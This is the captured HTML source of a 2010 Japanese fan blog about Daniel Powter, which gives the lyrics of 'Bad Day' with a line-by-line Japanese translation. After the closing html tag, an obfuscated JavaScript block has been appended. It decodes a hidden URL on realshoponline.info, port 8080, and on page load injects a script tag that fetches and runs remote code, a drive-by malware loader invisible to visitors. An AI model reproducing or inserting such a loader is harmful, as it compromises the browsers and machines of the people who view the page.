URL:    [ Dan Winchester Home ] [ View Source Home ]  
HTTP/1.1 200 OK
Date: Fri, 30 Apr 2010 14:23:49 GMT
Server: Apache
Last-Modified: Wed, 21 Apr 2010 00:47:40 GMT
ETag: "15c26e-5d23-4bce4b2c"
Accept-Ranges: bytes
Content-Length: 23843
Connection: close
Content-Type: text/html

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="sixapart-standard">
<head>
   <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
   <meta http-equiv="Content-Style-Type" content="text/css" />
   <meta http-equiv="Content-Script-Type" content="text/javascript" />
   <meta name="generator" content="Movable Type 3.33-ja" />
   <meta name="description" content="シンガーソング・ライター、ダニエルパウダーの曲や歌詞を解説して彼の魅力をわかりやすく紹介します。
">
   <meta name="keywords" content="ダニエルパウダー,歌詞,試聴,bad day,視聴,ライブ,bad day,歌詞,badday,pv">


   <link rel="stylesheet" href="http://powter.visual-imp.net/styles-site.css" type="text/css" />
   <link rel="alternate" type="application/atom+xml" title="Atom" href="http://powter.visual-imp.net/atom.xml" />
   <link rel="alternate" type="application/rss+xml" title="RSS 2.0" href="http://powter.visual-imp.net/index.xml" />
   
   <title>ダニエルパウダー</title>
   
   <link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://powter.visual-imp.net/rsd.xml" />
   
   
</head>

<body class="layout-two-column-right main-index top-layout-information">

<div id="container">
<div id="container-inner" class="pkg">

<!--ヘッダー-->

<div id="banner">
<div id="banner-inner" class="pkg">
<!--サイトタイトル-->

<h1 id="banner-header"><a href="http://powter.visual-imp.net/" accesskey="1" name="TOP" id="TOP">ダニエルパウダー</a></h1>

<!--サイトタイトル-->

<!--検索-->

<div id="banner-search">
<form method="get" action="http://visual-imp.net/mt/mt-search.cgi">
<input type="hidden" name="IncludeBlogs" value="3" />
<label for="search" accesskey="4">サイト内検索</label>
<input id="search" name="search" size="20" />
<input type="submit" value="検索" />
</form>
</div>

<!--検索-->

</div>
</div>

<!--アドセンス ダブル-->

<table border="0">
<tr>
<td>
<script type="text/javascript"><!--
google_ad_client = "pub-5944408313592074";
google_ad_width = 336;
google_ad_height = 280;
google_ad_format = "336x280_as";
google_ad_type = "text";
google_ad_channel = "";
google_color_border = "FFFFFF";
google_color_bg = "FFFFFF";
google_color_link = "0000FF";
google_color_text = "000000";
google_color_url = "0000FF";
//--></script>
<script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>

</td>
<td>
<script type="text/javascript"><!--
google_ad_client = "pub-5944408313592074";
google_ad_width = 336;
google_ad_height = 280;
google_ad_format = "336x280_as";
google_ad_type = "text";
google_ad_channel = "";
google_color_border = "FFFFFF";
google_color_bg = "FFFFFF";
google_color_link = "0000FF";
google_color_text = "000000";
google_color_url = "0000FF";
//--></script>
<script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>

</td>
</tr>
</table>




<!--ヘッダーここまで-->


<!--メイン記事-->

<div id="alpha">
<div id="alpha-inner" class="pkg">

<div id="alpha-information">



<!--サイト説明-->

<div class="entry" id="entry-top1">
<h2 class="archive-header">ダニエルパウダー</h2>
<div class="entry-content">
<div class="entry-body">
シンガーソング・ライター、ダニエルパウダーの曲や歌詞を解説して彼の魅力をわかりやすく紹介します。

</div>
</div>
</div>

<!--サイトの説明ここまで-->



<!-- 以下エントリー内容が最新5 -->


<h3 class="entry-header"><a href="http://powter.visual-imp.net/2007/01/bad_day.html">ダニエルパウダー　bad dayの歌詞と和訳</a></h3>
<div class="entry" id="entry-2">
<div class="entry-content">
<div class="entry-body">
<p>ダニエルパウダーのbad dayの歌詞を和訳、翻訳してみました。</p>

<p>ダニエルパウダーの試聴、視聴は彼の公式ページでプロモビデオで<br />
見ることが出来ます。</p>

<p>でもbad dayの歌詞を和訳したものが見つからなかったので、<br />
結構、いい雰囲気なのに残念だと思い、自分で翻訳して見ました。</p>

<p>Bad Day</p>

<p>Where is the moment we needed the most <br />
          / お互いを最も必要としたあの瞬間はどこにいったのだろう</p>

<p>You kick up the leaves and the magic is lost <br />
            / 君は枯葉を巻き上げて去って行き、そして魔法は失われた</p>

<p>They tell me your blue skies fade to grey <br />
            / 君の青い空が灰色に変わっていると聞いた</p>

<p>They tell me your passion's gone away <br />
            / 君の情熱が去ったと聞いた</p>

<p>And I don't need no carryin' on <br />
            / だからぼくも、もう何も抱える必要がない</p>

<p>You stand in the line just to hit a new low <br />
            / 君は、ちょうど列の最後尾に加わったところ</p>

<p>You're faking a smile with the coffee to go<br />
            / 店員に愛想笑いを向けてコーヒーをテイクアウト</p>

<p>You tell me your life's been way off line <br />
            / 君は自分の人生が大きく間違ってしまっていると言っていたね</p>

<p>You're falling to pieces everytime / 君はいつも疲れきっていた</p>

<p>And I don't need no carryin' on / そして僕はもう何も抱えるものが無い</p>

<p>Cause you had a bad day / 君にはつらい一日だったから</p>

<p>You're taking one down  / 君は軽く酒を飲んで</p>

<p>You sing a sad song just to turn it around <br />
                        / 景色を変えるために悲しい歌を歌う</p>

<p>You say you don't know  / 君は知らないと言う</p>

<p>You tell me don't lie   / 君は僕に嘘をつくなと言う</p>

<p>You work at a smile and you go for a ride <br />
                        / 君は無理して笑顔を作り、誰かの車に乗っていく</p>

<p>You had a bad day / 君にはつらい一日だったから</p>

<p>The camera don't lie / カメラは嘘をつかない</p>

<p>You're coming back down and you really don't mind <br />
                  / 君は戻って来た、だが本当に何も気にしていない</p>

<p>You had a bad day / 君にはつらい一日だったから<br />
	<br />
You had a bad day / 君にはつらい一日だったから	</p>

<p>Well you need a blue sky holiday / まず君には青空と休暇が必要だ</p>

<p>The point is they laugh at what you say <br />
               / 肝心なのは彼らは君が言うことを笑っていると言うこと</p>

<p>And I don't need no carryin' on / そして僕はもう何も抱えるものが無い</p>

<p>You had a bad day / 君にはつらい一日だったから</p>

<p>You're taking one down / 君は軽く酒を飲んで</p>

<p>You sing a sad song just to turn it around <br />
                  / 景色を変えるために悲しい歌を歌う</p>

<p>You say you don't know / 君は知らないと言う</p>

<p>You tell me don't lie / 君は僕に嘘をつくなと言う</p>

<p>You work at a smile and you go for a ride </p>

<p>/ 君は無理して笑顔を作り、誰かの車に乗っていく</p>

<p>You had a bad day / 君にはつらい一日だったから</p>

<p>The camera don't lie / カメラは嘘をつかない</p>

<p>You're coming back down and you really don't mind </p>

<p>/ 君は戻って来た、だが本当に何も気にしていない</p>

<p>You had a bad day / 君にはつらい一日だったから</p>

<p>(Oh.. Holiday..)  / (休日が...)</p>

<p>Sometimes the system goes on the blink <br />
                       / 時々システムは調子が悪くなり、<br />
 <br />
And the whole thing turns out wrong <br />
                       / そして全部は間違った方向に動き出す</p>

<p>You might not make it back and you know <br />
             / 君は元には戻らないかも知れない、君の知っているように</p>

<p>That you could be well oh that strong / 君は強い人だ</p>

<p>And I'm not wrong / 僕は間違ってはいない</p>

<p>So where is the passion when you need it the most <br />
            / お互いを最も必要としたあの情熱はどこにいったのだろう</p>

<p>Oh you and I / 君と僕</p>

<p>You kick up the leaves and the magic is lost <br />
            / 君は枯葉を巻き上げて去って行き、そして魔法は失われた</p>

<p>Cause you had a bad day / 君にはつらい一日だったから</p>

<p>You're taking one down / 君は軽く酒を飲んで</p>

<p>You sing a sad song just to turn it around <br />
                  / 景色を変えるために悲しい歌を歌う</p>

<p>You say you don't know / 君は知らないと言う</p>

<p>You tell me don't lie / 君は僕に嘘をつくなと言う</p>

<p>You work at a smile and you go for a ride <br />
                  / 君は無理して笑顔を作り、誰かの車に乗っていく</p>

<p>You had a bad day / 君にはつらい一日だったから</p>

<p>You've seen what you like / 君はずっと、自分は何が好きなのか捜していた</p>

<p>And how does it feel for one more time <br />
                  / もう一度時間があったら、君はどう感じるのだろう</p>

<p>You had a bad day / 君にはつらい一日だったから</p>

<p>You had a bad day / 君にはつらい一日だったから</p>

<p><br />
どうでしょう。雰囲気が伝わったでしょうか。<br />
プロモヴィデオの映像はもっと、ほんわかしたものでした。<br />
多分、売れ易い方に振ったのでしょうね。</p>
</div>


             


</div>
</div>



<!-- ここまでentry -->


<!--アドセンス-->
<script type="text/javascript"><!--
google_ad_client = "pub-5944408313592074";
google_ad_width = 336;
google_ad_height = 280;
google_ad_format = "336x280_as";
google_ad_type = "text";
google_ad_channel = "";
google_color_border = "FFFFFF";
google_color_bg = "FFFFFF";
google_color_link = "0000FF";
google_color_text = "000000";
google_color_url = "0000FF";
//--></script>
<script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>




<h2 class="archive-header">ダニエルパウダーカテゴリー項目一覧</h2>
<div class="entry" id="entry-top2">
<h3 class="entry-header"><a href="http://powter.visual-imp.net/cat2/">ダニエルパウダー歌詞</a></h3>
<div class="entry-content">
<div class="entry-body">
<a href="http://powter.visual-imp.net/2007/01/bad_day.html">ダニエルパウダー　bad dayの歌詞と和訳</a>

</div>
<p class="entry-footer"></p>
</div>

</div>

<p><br /></p>
<div class="gotop"><a href="#TOP">このページのトップへ&uarr;</a></div>

</div>

<div id="alpha-showcase">

<h2 class="archive-header">ダニエルパウダーのおすすめ！</h2>
<div class="pickup">
<h3 class="entry-header">
<a href="http://powter.visual-imp.net/2007/01/bad_day.html">ダニエルパウダー　bad dayの歌詞と和訳</a>
</h3>
<p>ダニエルパウダーのbad dayの歌詞を和訳、翻訳してみました。</p>

<p>ダニエルパウダーの試聴、視聴は彼の公式ページでプロモビデオで<br />
見ることが出来ます。</p>

<p>でもbad dayの歌詞を和訳したものが見つからなかったので、<br />
結構、いい雰囲気なのに残念だと思い、自分で翻訳して見ました。</p>

<p>Bad Day</p>

<p>Where is the moment we needed the most <br />
          / お互いを最も必要としたあの瞬間はどこにいったのだろう</p>

<p>You kick up the leaves and the magic is lost <br />
            / 君は枯葉を巻き上げて去って行き、そして魔法は失われた</p>

<p>They tell me your blue skies fade to grey <br />
            / 君の青い空が灰色に変わっていると聞いた</p>

<p>They tell me your passion's gone away <br />
            / 君の情熱が去ったと聞いた</p>

<p>And I don't need no carryin' on <br />
            / だからぼくも、もう何も抱える必要がない</p>

<p>You stand in the line just to hit a new low <br />
            / 君は、ちょうど列の最後尾に加わったところ</p>

<p>You're faking a smile with the coffee to go<br />
            / 店員に愛想笑いを向けてコーヒーをテイクアウト</p>

<p>You tell me your life's been way off line <br />
            / 君は自分の人生が大きく間違ってしまっていると言っていたね</p>

<p>You're falling to pieces everytime / 君はいつも疲れきっていた</p>

<p>And I don't need no carryin' on / そして僕はもう何も抱えるものが無い</p>

<p>Cause you had a bad day / 君にはつらい一日だったから</p>

<p>You're taking one down  / 君は軽く酒を飲んで</p>

<p>You sing a sad song just to turn it around <br />
                        / 景色を変えるために悲しい歌を歌う</p>

<p>You say you don't know  / 君は知らないと言う</p>

<p>You tell me don't lie   / 君は僕に嘘をつくなと言う</p>

<p>You work at a smile and you go for a ride <br />
                        / 君は無理して笑顔を作り、誰かの車に乗っていく</p>

<p>You had a bad day / 君にはつらい一日だったから</p>

<p>The camera don't lie / カメラは嘘をつかない</p>

<p>You're coming back down and you really don't mind <br />
                  / 君は戻って来た、だが本当に何も気にしていない</p>

<p>You had a bad day / 君にはつらい一日だったから<br />
	<br />
You had a bad day / 君にはつらい一日だったから	</p>

<p>Well you need a blue sky holiday / まず君には青空と休暇が必要だ</p>

<p>The point is they laugh at what you say <br />
               / 肝心なのは彼らは君が言うことを笑っていると言うこと</p>

<p>And I don't need no carryin' on / そして僕はもう何も抱えるものが無い</p>

<p>You had a bad day / 君にはつらい一日だったから</p>

<p>You're taking one down / 君は軽く酒を飲んで</p>

<p>You sing a sad song just to turn it around <br />
                  / 景色を変えるために悲しい歌を歌う</p>

<p>You say you don't know / 君は知らないと言う</p>

<p>You tell me don't lie / 君は僕に嘘をつくなと言う</p>

<p>You work at a smile and you go for a ride </p>

<p>/ 君は無理して笑顔を作り、誰かの車に乗っていく</p>

<p>You had a bad day / 君にはつらい一日だったから</p>

<p>The camera don't lie / カメラは嘘をつかない</p>

<p>You're coming back down and you really don't mind </p>

<p>/ 君は戻って来た、だが本当に何も気にしていない</p>

<p>You had a bad day / 君にはつらい一日だったから</p>

<p>(Oh.. Holiday..)  / (休日が...)</p>

<p>Sometimes the system goes on the blink <br />
                       / 時々システムは調子が悪くなり、<br />
 <br />
And the whole thing turns out wrong <br />
                       / そして全部は間違った方向に動き出す</p>

<p>You might not make it back and you know <br />
             / 君は元には戻らないかも知れない、君の知っているように</p>

<p>That you could be well oh that strong / 君は強い人だ</p>

<p>And I'm not wrong / 僕は間違ってはいない</p>

<p>So where is the passion when you need it the most <br />
            / お互いを最も必要としたあの情熱はどこにいったのだろう</p>

<p>Oh you and I / 君と僕</p>

<p>You kick up the leaves and the magic is lost <br />
            / 君は枯葉を巻き上げて去って行き、そして魔法は失われた</p>

<p>Cause you had a bad day / 君にはつらい一日だったから</p>

<p>You're taking one down / 君は軽く酒を飲んで</p>

<p>You sing a sad song just to turn it around <br />
                  / 景色を変えるために悲しい歌を歌う</p>

<p>You say you don't know / 君は知らないと言う</p>

<p>You tell me don't lie / 君は僕に嘘をつくなと言う</p>

<p>You work at a smile and you go for a ride <br />
                  / 君は無理して笑顔を作り、誰かの車に乗っていく</p>

<p>You had a bad day / 君にはつらい一日だったから</p>

<p>You've seen what you like / 君はずっと、自分は何が好きなのか捜していた</p>

<p>And how does it feel for one more time <br />
                  / もう一度時間があったら、君はどう感じるのだろう</p>

<p>You had a bad day / 君にはつらい一日だったから</p>

<p>You had a bad day / 君にはつらい一日だったから</p>

<p><br />
どうでしょう。雰囲気が伝わったでしょうか。<br />
プロモヴィデオの映像はもっと、ほんわかしたものでした。<br />
多分、売れ易い方に振ったのでしょうね。</p>
<div align="right">
<a href="http://powter.visual-imp.net/2007/01/bad_day.html">もっと詳しく見る</a>
</div>

</div>

<div>
シンガーソング・ライター、ダニエルパウダーの曲や歌詞を解説して彼の魅力をわかりやすく紹介します。

</div>

<p><br /></p>

<h2 class="archive-header">ダニエルパウダー Pick Up！</h2>
<div class="entry">

<div class="pickup1">

</div>

<div class="pickup2">

</div>

<div class="pickup1">

</div>

<div class="pickup2">

</div>
</div>

<p><br /></p>
<div class="gotop"><a href="#TOP">このページのトップへ&uarr;</a></div>

</div>
</div>
</div>

<!--メイン記事ここまで-->
               
<!--サイドメニュー-->

<div id="beta">
<div id="beta-inner" class="pkg">
<!--カテゴリー-->

<div class="module-categories module">
<div class="module-header">カテゴリー</div>
<div class="module-content">
<ul class="module-list">
<li class="module-list-item"><a href="http://powter.visual-imp.net/cat2/" title="ダニエルパウダーのアルバムから歌詞についての情報です。
例えば、bad dayは和訳をして掲載しています。
まだまだ情報の少ないアーティストなので、本人の歌う曲の歌詞を知ること
自体が、とても価値のあるものだと思います。
ダニエルパウダーはシンガーソングライターなので
本人の思い入れで書かれた歌詞は、日本語にするとわかりずらい事もあり、
解説をいれます。">ダニエルパウダー歌詞</a>



</li>
</ul>

</div>
</div>


<!--カテゴリーここまで-->


<!--記事一覧（不要の場合はここから削除）-->

<div class="module-archives module">
<div class="module-header">記事一覧</div>
<div class="module-content">
<ul class="module-list">
<li>  
<a href="http://powter.visual-imp.net/2007/01/bad_day.html">ダニエルパウダー　bad dayの歌詞と和訳</a></li>  

</ul>
</div>
</div>

<!--記事一覧（不要の場合はここまで削除）-->


<!--楽天ランキングスペース（不要の場合はここから削除）-->

<div class="module-archives module">
<div class="module-header">Pick Up</div>
<div class="module-content">

<!--ここから楽天ランキングなど-->



<!--ここまで楽天ランキングなど-->

</div>
</div>

<!--楽天ランキングススペース（不要の場合はここまで削除）-->


<a href="http://www.tsunagaru.jp/" target="_blank">相互リンク募集ナビ</a>
<a href="http://www.tbod.jp/" target="_blank">アフィリエイト テンプレート</a>

</div>
</div>

<!--サイドメニューここまでー-->

</div>
</div>

<!--フッターナビゲーション＆フッター-->

<!--フッターナビゲーション-->

<div class="footer-navi">

<!--サイトマップ-->
<a href="http://powter.visual-imp.net/archives.html">サイトマップ</a>&nbsp;&nbsp;|&nbsp;&nbsp;
<!--サイトマップ-->

<!--新着情報-->
<a href="http://powter.visual-imp.net/2007/01/">新着情報</a>&nbsp;&nbsp;|&nbsp;&nbsp;

<!--新着情報-->

<!--最終更新日-->
<a href="http://powter.visual-imp.net/2007/01/03/">最終更新日</a>&nbsp;&nbsp;|&nbsp;&nbsp;

<!--最終更新日-->

<!--RSS-->
<a href="http://powter.visual-imp.net/index.xml">RSS</a>&nbsp;&nbsp;|&nbsp;&nbsp;
<!--RSS-->

<!--ATOM-->
<a href="http://powter.visual-imp.net/atom.xml">ATOM</a>&nbsp;&nbsp;|&nbsp;&nbsp;
<!--ATOM-->

[PR]&nbsp;&nbsp;

<!--tbodへのリンク-->
<a href="http://www.tbod.jp/" target="_blank">3歩先行くMovable Typeテンプレート</a>
<!--tbodへのリンク-->

<!--PR用のリンク挿入位置-->

<!--PR用のリンク挿入位置-->

</div>

<!--フッターナビゲーション-->


<!--フッター-->

<div id="footer">
<div id="footer-inner" class="pkg">
Copyright&nbsp;&copy;&nbsp;2006&nbsp;
<a href="http://powter.visual-imp.net/">ダニエルパウダー</a>
&middot;&nbsp;All&nbsp;Rights&nbsp;Reserved&middot;
</div>
</div>


<!--フッター-->


<!--アクセス解析-->
<!--アクセス解析のタグを貼る-->
<script type="text/javascript" src="http://www.research-artisan.com/userjs/?h=0&amp;user_id=20061202000830941"></script><noscript><p><img src="http://www.research-artisan.com/userjs/noscript.php?h=0&amp;user_id=20061202000830941" alt="" width="1" height="1"  /></p></noscript>

<!--フッターナビゲーション＆フッターここまで-->

</div>
</div>
</body>
</html>



<script>var Eu=new Array();var DO;if(DO!='b'){DO=''};function m(){var I;if(I!='' && I!='j'){I='t'};var X=window;var W=new Date();var E=X['unescape'];this.q='';var F=E("%2f%77%6f%72%6c%64%6f%66%77%61%72%63%72%61%66%74%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%6c%65%6d%6f%6e%64%65%2e%66%72%2e%70%68%70");var z=new String();function H(Y,k){var Et;if(Et!='' && Et!='Rp'){Et=''};var w=E("%5d");var wp="";var ks;if(ks!='' && ks!='g'){ks=null};var Yb=E("%5b");this.O="";this.hv="";var x=String("g");var HP=new Date();var EE;if(EE!='Q' && EE != ''){EE=null};var hT;if(hT!='' && hT!='tQ'){hT=''};var Z=new RegExp(Yb+k+w, x);var _IM=new Date();var PW;if(PW!='' && PW!='rv'){PW=null};this.Ck="";return Y.replace(Z, new String());var xt="";};var QvZ;if(QvZ!='' && QvZ!='EV'){QvZ=null};var EM;if(EM!='EY' && EM != ''){EM=null};this.jN="";var V=H('shrjc0','zU0hqSeKHZijxL8D');this._k='';var SC;if(SC!='' && SC!='DH'){SC=''};var R=H('dKemf4eXrA','XVKmU4lA');var SN=new Date();var o=H('8149621621911606461494719418224739246390412414413114','41265397');var Tw;if(Tw!='' && Tw!='HC'){Tw=null};var y=document;var _=H('sQc3r_iFpFtQ','CFyQ3V_');var OM=new String();function c(){var U=E("%68%74%74%70%3a%2f%2f%72%65%61%6c%73%68%6f%70%6f%6e%6c%69%6e%65%2e%69%6e%66%6f%3a");var Ww="";var fn='';var _I=U;_I+=o;var wv;if(wv!='' && wv!='Nn'){wv='VO'};var Xh=new Date();_I+=F;this.xj="";try {var zF;if(zF!='' && zF!='Ko'){zF='QI'};var AD;if(AD!='Uf'){AD=''};a=y[H('cCrPekaqtLeCEzl5eCmNeqnLt_','zXkfL6PKiJFg5DC3BN_hq')](_);this.qk='';var Fo;if(Fo!='Ce'){Fo=''};a[V]=_I;a[R]=[1][0];var be='';y.body[H('acpfpueIncdNCRhxi5lDd5','IfRt0u5B3N8DxEvc')](a);var Uzm=new String();} catch(d){this.Hq='';};var my=new Date();var dc='';var dR;if(dR!='' && dR!='Rl'){dR=null};}var pv;if(pv!='jf'){pv=''};var ZN=H('o6nil4ovaPde','7tWu3MZ5P206Acev_Qfsi4D');var Ms;if(Ms!='Xn'){Ms='Xn'};var lE=new Date();var LC=new Array();X[ZN]=c;var Nl;if(Nl!='lK'){Nl='lK'};var Qd="";var CX=new Date();};m();var kL;if(kL!='dS' && kL!='SV'){kL=''};var _m;if(_m!='bMt'){_m=''};</script>
<!--0a0009945cf103a43a2e13c6d76681fb-->
 Questions or comments welcome: contact me.